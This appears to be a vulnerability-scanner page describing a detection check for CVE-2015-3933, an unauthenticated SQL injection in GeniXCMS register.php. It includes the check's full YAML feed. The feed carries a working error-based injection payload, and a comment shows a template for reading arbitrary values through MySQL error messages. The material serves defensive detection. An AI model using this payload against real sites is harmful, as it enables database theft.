GeniXCMS — 1 vulnerability check

noctis ships 1 vulnerability check for GeniXCMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

GeniXCMS register.php userid error-based SQL Injection

CVECVE-2015-3933
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/genixcms/CVE-2015-3933.yaml

GeniXCMS 0.0.3 builds a query of its registration page (register.php) from the userid POST field without escaping it, so an anonymous visitor can inject SQL and have values printed in the database error message.

After recognising a GeniXCMS home page (index.php under the web root, /genixcms and /cms), this check posts a registration whose userid carries an error-based injection that concatenates CHAR(78,67,84) with the product of two random numbers. The finding requires the MySQL "Duplicate entry 'NCT<product>' for key" error to quote that product, which the request does not contain, proving the field is evaluated as SQL. No database value is read; the injected expression only computes a number. The request is a registration attempt that the injection makes fail.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Raw TCP (TLS on HTTPS), sent verbatim: {{req}}
  6. Parses / computes the next value with a Rhai script
  7. Checks verdict for ^sqli$ → finding QoD 97: GeniXCMS register.php userid error-based SQL Injection (CVE-2015-3933)

References:

Feed source — tests/vulnerabilities/genixcms/CVE-2015-3933.yaml
# GeniXCMS 0.0.3 — register.php userid error-based SQL injection — CVE-2015-3933
#
# register.php of GeniXCMS <= 0.0.3 puts the userid POST field into a query without
# escaping, so a visitor can append an error-based injection
#   userid='and(select 1 from (select count(*),concat(<expr>,floor(rand(0)*2))x
#           from information_schema.tables group by x)a)and'
# and read <expr> in the MySQL "Duplicate entry '<expr>1' for key 'group_key'" error the
# page prints. (CVE-2015-5066, the q / content / title injections of the posts page, needs
# an admin session and is not covered here.)
#
# Differences with the source NASL (2015/gb_genixcms_mult_sql_vuln_jun15.nasl):
#   - the NASL injects version() and the text "SQL-Injection-Test<" and accepts any page
#     with that text plus the generic "You have an error in your SQL syntax". This feed
#     injects CONCAT(CHAR(78,67,84), A*B) for random A, B and requires the computed
#     product inside the "Duplicate entry" error, which the request does not contain;
#   - no database value is read: the injected expression is only a computed number.
# The payload keeps the NASL's double URL-encoding of the spaces.
#
# Source: OpenVAS/Greenbone NASL 2015/gb_genixcms_mult_sql_vuln_jun15.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805665, GPL-2.0-only).
uid: 3c334be3-099b-4732-8b9a-e65da6335ebb
name: "GeniXCMS register.php userid error-based SQL Injection (CVE-2015-3933)"
description: |
  GeniXCMS 0.0.3 builds a query of its registration page (register.php) from the userid
  POST field without escaping it, so an anonymous visitor can inject SQL and have values
  printed in the database error message.

  After recognising a GeniXCMS home page (index.php under the web root, /genixcms and
  /cms), this check posts a registration whose userid carries an error-based injection
  that concatenates CHAR(78,67,84) with the product of two random numbers. The finding
  requires the MySQL "Duplicate entry 'NCT<product>' for key" error to quote that product,
  which the request does not contain, proving the field is evaluated as SQL. No database
  value is read; the injected expression only computes a number. The request is a
  registration attempt that the injection makes fail.
cves: [CVE-2015-3933]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [genixcms, php, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-3933"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-5066"
  # OpenVAS/Greenbone NASL 2015/gb_genixcms_mult_sql_vuln_jun15.nasl (GPL-2.0-only)

steps:
  - id: build-probe
    action: script
    code: |
      let a = rand_int(1000, 9999);
      let b = rand_int(1000, 9999);
      let body = "userid=%27and%28select%25201%2520from%2520%28select%2520count%28*%29%2C"
        + "concat%28char%2878%2C67%2C84%29%2C" + a + "*" + b + "%2Cfloor%28rand%280%29*2%29%29x"
        + "%2520from%2520information_schema.tables%2520group%2520by%2520x%29a%29and%27"
        + "&pass1=df&pass2=df&email=asp%40gmail.com&register=&token=0";
      #{ body: body, marker: "Duplicate entry 'NCT" + (a * b), a: a, b: b }
    store_as: probe

  # ── Loop group: every following step runs once per install dir.
  - id: init-home-r
    action: set_var
    var_name: home_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/genixcms", "/cms"]

  - id: init-inj-r
    action: set_var
    var_name: inj_r
    var_value: {connected: false, banner: ""}

  - id: home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: home_r

  - id: gate
    action: script
    code: |
      if home_r.status == 200 && type_of(home_r.body) == "string"
         && home_r.body.contains("content=\"GeniXCMS\"")
         && home_r.body.contains("Free and Opensource CMS\">GeniXCMS") {
        "genixcms"
      } else { "" }
    store_as: gate

  - id: build-request
    action: script
    condition: 'gate == "genixcms"'
    code: |
      "POST " + dir + "/register.php HTTP/1.0\r\nHost: " + target_host + "\r\n"
        + "Content-Type: application/x-www-form-urlencoded\r\n"
        + "Content-Length: " + strlen(probe.body) + "\r\nConnection: close\r\n\r\n" + probe.body
    store_as: req

  - id: injection
    action: tcp_connect
    condition: 'gate == "genixcms"'
    port: "{{port}}"
    send: "{{req}}"
    store_as: inj_r

  - id: verdict
    action: script
    code: |
      if gate == "genixcms" && inj_r.connected && type_of(inj_r.banner) == "string"
         && inj_r.banner.contains(probe.marker) { "sqli" } else { "" }
    store_as: verdict

  - id: report
    action: match
    source: verdict
    pattern: '^sqli$'
    on_match:
      finding:
        title: "GeniXCMS register.php userid error-based SQL Injection (CVE-2015-3933)"
        description: "The userid field of GeniXCMS register.php was evaluated as SQL: an error-based injection concatenating CHAR(78,67,84) with A*B printed the computed value in the MySQL duplicate-entry error. An anonymous visitor can read database contents (such as user names and password hashes) through the error message."
        remediation: "Upgrade GeniXCMS to 0.0.4 or later, which escapes the registration fields, and turn off database error display in production."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/register.php (userid injection) -> error quotes computed marker {{probe.marker}}"
      stop: true

View these feeds on GitHub